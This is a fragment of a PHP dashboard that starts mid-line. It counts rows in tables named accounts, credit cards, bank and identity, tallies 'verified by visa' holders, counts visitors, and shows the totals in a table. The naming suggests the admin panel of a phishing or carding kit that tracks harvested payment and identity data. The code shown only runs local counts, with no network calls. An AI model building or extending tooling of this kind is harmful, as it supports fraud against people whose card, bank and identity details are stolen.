query('SELECT * FROM `settings`')->fetch(PDO::FETCH_ASSOC);
$accounts = $pdo->query('SELECT count(id) FROM `accounts`')->fetchColumn();
$creditcards = $pdo->query('SELECT count(id) FROM `creditcards`')->fetchColumn();
$verifiedbyvisa = $pdo->query('SELECT count(vbv_holder) FROM `creditcards` WHERE `vbv_holder` !=\'\'')->fetchColumn();
$bankaccounts = $pdo->query('SELECT count(id) FROM `bank`')->fetchColumn();
$identity = $pdo->query('SELECT count(id) FROM `identity`')->fetchColumn();
$visitors = $pdo->query('SELECT count(id) FROM `visitors`')->fetchColumn();
?>
Dashboard:
| visitors |
accounts |
credit cards |
verified by visa |
bank accounts |
identity |
|
|
|
|
|
|
|